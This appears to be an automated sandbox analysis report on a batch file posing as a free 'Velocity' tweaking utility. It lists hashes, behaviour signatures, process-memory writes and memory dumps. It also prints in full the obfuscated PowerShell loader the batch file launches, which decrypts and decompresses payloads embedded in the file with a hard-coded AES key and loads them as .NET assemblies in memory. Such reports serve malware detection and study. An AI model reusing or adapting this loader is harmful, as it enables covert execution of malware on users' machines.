7761d40ba646d274001e0243148781fbc722a64546ea208c0ba597265dbf6417

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
18-01-2025 17:40

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General

Target

Velocity_Free_Tweaking_Utility.bat
Size

470KB
MD5

368de487ff6ae5103c3307a2e0bed635
SHA1

0147386ef6eaab1ead49b1c094df3cc68977a708
SHA256

7761d40ba646d274001e0243148781fbc722a64546ea208c0ba597265dbf6417
SHA512

7105f7bcf98fbb87ffcd9cae17e7cf4e7d3821724dce25a81f1a1e9c4bc24b69a1206dcb532a389759edeca33ce8283599d4bb73b353882dc5b76b47c126cab5
SSDEEP

12288:MKvMPgbu1gDThxx0uXGQUKAVXqdeNi7KDJCU2iQQ/Qa4NnK:MKFa1gTqIlA4eNiWDJSHPK

Score

1^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3056	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3056	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1120 wrote to memory of 2900	1120	cmd.exe	29
PID 1120 wrote to memory of 2900	1120	cmd.exe	29
PID 1120 wrote to memory of 2900	1120	cmd.exe	29
PID 1120 wrote to memory of 3056	1120	cmd.exe	30
PID 1120 wrote to memory of 3056	1120	cmd.exe	30
PID 1120 wrote to memory of 3056	1120	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Velocity_Free_Tweaking_Utility.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QnpmxQANU729MWfimT9pRBSpyJbPXXn82T+WpDZPl7k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XI5lMeQ6bxkYFYuitmF2dw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BTAyb=New-Object System.IO.MemoryStream(,$param_var); $uuueC=New-Object System.IO.MemoryStream; $QoOjO=New-Object System.IO.Compression.GZipStream($BTAyb, [IO.Compression.CompressionMode]::Decompress); $QoOjO.CopyTo($uuueC); $QoOjO.Dispose(); $BTAyb.Dispose(); $uuueC.Dispose(); $uuueC.ToArray();}function execute_function($param_var,$param2_var){ $mxfiw=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WfALI=$mxfiw.EntryPoint; $WfALI.Invoke($null, $param2_var);}$bcPKQ = 'C:\Users\Admin\AppData\Local\Temp\Velocity_Free_Tweaking_Utility.bat';$host.UI.RawUI.WindowTitle = $bcPKQ;$hlmzn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($bcPKQ).Split([Environment]::NewLine);foreach ($fqbiG in $hlmzn) { if ($fqbiG.StartsWith('jQaeeWFGbtZvamaElQrD')) { $BLrbP=$fqbiG.Substring(20); break; }}$payloads_var=[string[]]$BLrbP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3056

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/3056-4-0x000007FEF5BAE000-0x000007FEF5BAF000-memory.dmp

Filesize
4KB

Download
memory/3056-5-0x000000001B540000-0x000000001B822000-memory.dmp

Filesize
2.9MB

Download
memory/3056-6-0x0000000001D50000-0x0000000001D58000-memory.dmp

Filesize
32KB

Download
memory/3056-7-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

Filesize
9.6MB

Download
memory/3056-8-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

Filesize
9.6MB

Download
memory/3056-9-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

Filesize
9.6MB

Download
memory/3056-10-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

Filesize
9.6MB

Download
memory/3056-11-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

Filesize
9.6MB

Download